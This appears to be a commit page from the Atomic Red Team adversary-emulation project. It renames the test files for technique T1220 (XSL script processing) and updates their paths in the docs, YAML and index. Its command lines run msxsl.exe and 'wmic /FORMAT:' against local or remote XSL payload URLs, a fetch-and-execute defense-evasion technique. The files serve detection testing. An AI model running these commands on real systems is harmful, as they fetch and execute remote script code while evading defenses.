security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

T1220 (#472)

Browse Source 
* T1220 Fix

T1220 fix per #467

* Generate docs from job=validate_atomics_generate_docs branch=T1220
This commit is contained in:
Michael Haag
2019-03-26 14:12:58 -06:00
committed by Zac Brown
parent 820ed2e465
commit d91f2c1479
6 changed files with 24 additions and 24 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1220/T1220.md
+6 -6
View File
@@ -37,8 +37,8 @@ Executes the code specified within a XSL script tag during XSL transformation us
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xmlfile | Location of the test XML file on the local filesystem. | Path | C:\AtomicRedTeam\atomics\T1220\src\msxsl-xmlfile.xml|
| xslfile | Location of the test XSL script file on the local filesystem. | Path | C:\AtomicRedTeam\atomics\T1220\src\msxsl-script.xsl|
| xmlfile | Location of the test XML file on the local filesystem. | Path | C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml|
| xslfile | Location of the test XSL script file on the local filesystem. | Path | C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl|
#### Run it with `command_prompt`!
```
@@ -56,8 +56,8 @@ Executes the code specified within a XSL script tag during XSL transformation us
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xmlfile | Remote location (URL) of the test XML file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-xmlfile.xml|
| xslfile | Remote location (URL) of the test XSL script file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-script.xsl|
| xmlfile | Remote location (URL) of the test XML file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml|
| xslfile | Remote location (URL) of the test XSL script file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl|
#### Run it with `command_prompt`!
```
@@ -76,7 +76,7 @@ Executes the code specified within a XSL script using a local payload.
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| wmic_command | WMI command to execute using wmic.exe | string | process list|
| local_xsl_file | Location of the test XSL script file on the local filesystem. | path | C:\AtomicRedTeam\atomics\T1220\src\wmic-script.xsl|
| local_xsl_file | Location of the test XSL script file on the local filesystem. | path | C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl|
#### Run it with `command_prompt`!
```
@@ -95,7 +95,7 @@ Executes the code specified within a XSL script using a remote payload.
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| wmic_command | WMI command to execute using wmic.exe | string | process list|
| remote_xsl_file | Remote location of an XSL payload. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmic-script.xsl|
| remote_xsl_file | Remote location of an XSL payload. | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl|
#### Run it with `command_prompt`!
```
atomics/T1220/T1220.yaml
+6 -6
View File
@@ -12,11 +12,11 @@ atomic_tests:
xmlfile:
description: Location of the test XML file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxsl-xmlfile.xml
default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml
xslfile:
description: Location of the test XSL script file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxsl-script.xsl
default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl
executor:
name: command_prompt
command: |
@@ -31,11 +31,11 @@ atomic_tests:
xmlfile:
description: Remote location (URL) of the test XML file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-xmlfile.xml
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile:
description: Remote location (URL) of the test XSL script file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-script.xsl
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
executor:
name: command_prompt
command: |
@@ -54,7 +54,7 @@ atomic_tests:
local_xsl_file:
description: Location of the test XSL script file on the local filesystem.
type: path
default: C:\AtomicRedTeam\atomics\T1220\src\wmic-script.xsl
default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl
executor:
name: command_prompt
command: |
@@ -73,7 +73,7 @@ atomic_tests:
remote_xsl_file:
description: Remote location of an XSL payload.
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmic-script.xsl
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
executor:
name: command_prompt
command: |
atomics/T1220/src/msxsl-script.xsl → atomics/T1220/src/msxslscript.xsl
View File
atomics/T1220/src/msxsl-xmlfile.xml → atomics/T1220/src/msxslxmlfile.xml
View File
atomics/T1220/src/wmic-script.xsl → atomics/T1220/src/wmicscript.xsl
View File
atomics/index.yaml
+12 -12
View File
@@ -9184,11 +9184,11 @@ defense-evasion:
xmlfile:
description: Location of the test XML file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxsl-xmlfile.xml
default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml
xslfile:
description: Location of the test XSL script file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxsl-script.xsl
default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
@@ -9206,11 +9206,11 @@ defense-evasion:
xmlfile:
description: Remote location (URL) of the test XML file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-xmlfile.xml
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile:
description: Remote location (URL) of the test XSL script file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-script.xsl
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
@@ -9231,7 +9231,7 @@ defense-evasion:
local_xsl_file:
description: Location of the test XSL script file on the local filesystem.
type: path
default: C:\AtomicRedTeam\atomics\T1220\src\wmic-script.xsl
default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file}
@@ -9252,7 +9252,7 @@ defense-evasion:
remote_xsl_file:
description: Remote location of an XSL payload.
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmic-script.xsl
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file}
@@ -17318,11 +17318,11 @@ execution:
xmlfile:
description: Location of the test XML file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxsl-xmlfile.xml
default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml
xslfile:
description: Location of the test XSL script file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxsl-script.xsl
default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
@@ -17340,11 +17340,11 @@ execution:
xmlfile:
description: Remote location (URL) of the test XML file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-xmlfile.xml
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile:
description: Remote location (URL) of the test XSL script file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxsl-script.xsl
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
@@ -17365,7 +17365,7 @@ execution:
local_xsl_file:
description: Location of the test XSL script file on the local filesystem.
type: path
default: C:\AtomicRedTeam\atomics\T1220\src\wmic-script.xsl
default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file}
@@ -17386,7 +17386,7 @@ execution:
remote_xsl_file:
description: Remote location of an XSL payload.
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmic-script.xsl
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file}